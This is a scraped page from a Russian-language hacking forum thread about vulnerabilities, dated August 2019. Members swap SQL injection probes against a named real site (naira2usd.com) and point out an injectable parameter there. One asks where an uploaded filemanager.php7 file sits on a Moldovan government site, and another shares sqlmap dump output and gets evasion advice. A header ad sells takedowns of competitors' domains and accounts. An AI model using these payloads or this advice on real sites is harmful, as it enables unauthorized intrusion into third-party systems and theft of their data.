Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 267 из 296

267

Опции темы

Поиск в этой теме

Опции просмотра

21.08.2019, 05:11

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

С нами: 10227206

Репутация: 2163

Цитата:

Сообщение от b3

↑
не понятно почему ругается на LIKE

ахахах нубас, рассмешил посмотри еще раз на запрос, истина где-то рядом!

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..

21.08.2019, 05:24

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Цитата:

Сообщение от l1ght

↑
ахахах нубас, рассмешил
посмотри еще раз на запрос, истина где-то рядом!

Лайтик :love: там нет инъекции.

п.с я чет не понял юмора

( LIKE '%3%' OR LIKE '%3%' )

21.08.2019, 11:48

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

Да не хотит крутится сайт https:/_/naira2usd.com/myreferralsx POST draw=6&columns[0][data]='&columns[0][name]=Smith&columns[0][searchable]=true&columns[0][orderable]=true&columns[0][search][value]=3&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=Smith&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=3&columns[1][search][regex]=false&start=3&length=100&search[value]=3&search[regex]=false

может у кого получится

21.08.2019, 16:50

karkajoi

Постоянный

Регистрация: 26.10.2016

Сообщений: 438

С нами: 5025206

Репутация: 5

Цитата:

Сообщение от madam

↑
Да не хотит крутится сайт https:/_/naira2usd.com/myreferralsx POST draw=6&columns[0][data]='&columns[0][name]=Smith&columns[0][searchable]=true&columns[0][orderable]=true&columns[0][search][value]=3&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=Smith&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=3&columns[1][search][regex]=false&start=3&length=100&search[value]=3&search[regex]=false
может у кого получится

Не хотит наверное потому что там ее нету скорее всего, ну я покрайнемере ничего необычного не увидел))

В другом месте потенциальная есть

Код:

https://naira2usd.com/confirmx
POST
draw=2&columns[0][data]=&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=true&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4][data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search][regex]=false&start=0&length=100&search[value]='&search[regex]=false

24.08.2019, 02:50

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

Обходить X-Requested-With можно только через .swf?

28.08.2019, 15:27

kostea

Новичок

Регистрация: 23.12.2015

Сообщений: 29

С нами: 5468726

Репутация: 0

Привет, помогите узнать где залился файл filemanager.php7 из раздела "Clasa a I-a" http://ctice.gov.md/manuale-scolare/

http://ctice.md/public/download.php?id=249

29.08.2019, 22:58

AngelEyes

Новичок

Регистрация: 20.06.2019

Сообщений: 7

С нами: 3632726

Репутация: 0

[01:38:29] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5 (MariaDB fork)

[01:38:29] [INFO] fetching database names

[01:38:29] [INFO] fetching number of databases

[01:38:30] [INFO] resumed: ЩЩ

[01:38:30] [ERROR] unable to retrieve the number of databases

[01:38:30] [INFO] falling back to current database

[01:38:30] [INFO] fetching current database

[01:38:30] [WARNING] cannot properly display (some) Unicode characters inside your terminal ('cp866') environment. All unhandled occurrences will result in replacement with '?' character. Please, find proper character representation inside corresponding output files

[01:38:30] [INFO] resumed: `к?

available databases [1]:
[*] `к?

Как с этим бороться?

30.08.2019, 00:25

karkajoi

Постоянный

Регистрация: 26.10.2016

Сообщений: 438

С нами: 5025206

Репутация: 5

Цитата:

Сообщение от AngelEyes

↑
[01:38:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[01:38:29] [INFO] fetching database names
[01:38:29] [INFO] fetching number of databases
[01:38:30] [INFO] resumed: ЩЩ
[01:38:30] [ERROR] unable to retrieve the number of databases
[01:38:30] [INFO] falling back to current database
[01:38:30] [INFO] fetching current database
[01:38:30] [WARNING] cannot properly display (some) Unicode characters inside your terminal ('cp866') environment. All unhandled occurrences will result in replacement with '?' character. Please, find proper character representation inside corresponding output files
[01:38:30] [INFO] resumed: `к?
available databases [1]:[*] `к?
Как с этим бороться?

--hex по пробуй